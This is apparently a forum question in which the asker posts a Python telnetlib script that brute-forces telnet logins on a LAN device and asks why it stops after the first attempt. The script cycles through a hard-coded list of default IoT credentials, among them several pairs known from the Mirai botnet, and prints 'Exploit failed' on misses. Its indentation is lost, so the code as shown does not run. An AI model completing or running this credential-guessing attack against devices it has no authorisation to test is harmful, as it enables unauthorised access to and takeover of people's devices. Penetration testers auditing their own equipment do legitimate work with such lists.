I am trying to use the python3 telnetlib library to connect to a device, but rather than specify a single username/password (as shown below), I would like to read the credentials from a tuple, and iterate through them until it finds a match.
An example of using telnetlib with single username is below.
import telnetlib
import sys
import getpass
bot = telnetlib.Telnet("192.168.1.128")
bot.read_until(b"login: ")
bot.write(("pi\n").encode('ascii'))
bot.read_until(b"Password: ")
bot.write(("pass12345\n").encode('ascii'))
I have tried the below however the script does connect but only tries the first username and password and then hangs without trying any other credentials.
Any help greatly appreciated.
passwords = [('root', 'xc3511'), ('pi', 'raspberry'), ('pi', 'raspberry'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]
def telnet_brute():
print("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet('192.168.0.131', timeout=10)
ip = '192.168.0.131'
passwordAttempts = 0
for tuples in passwords:
passwordAttempts = passwordAttempts + 1
print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
try:
tn.expect([b"Login: ", b"login: "], 5)
tn.write(tuples[0].encode('ascii') + b"\r\n")
tn.expect([b"Password: ", b"password"], 5)
tn.write(tuples[1].encode('ascii') + b"\r\n")
tn.read_all().decode('ascii')
(i, obj, res) = tn.expect([b"Login Incorrect", b"Login incorrect"], 5)
if i != -1:
print("Exploit failed")
else:
if any(map(lambda x: x in res, [b"#", b"$", b"~$", b" "])):
print("Login successful:",tuples[0], tuples[1])
break
else:
print("Exploit failed")
tn.close()
except Exception as e:
print(f"Connection error: {e}")
if __name__ == '__main__':
telnet_brute()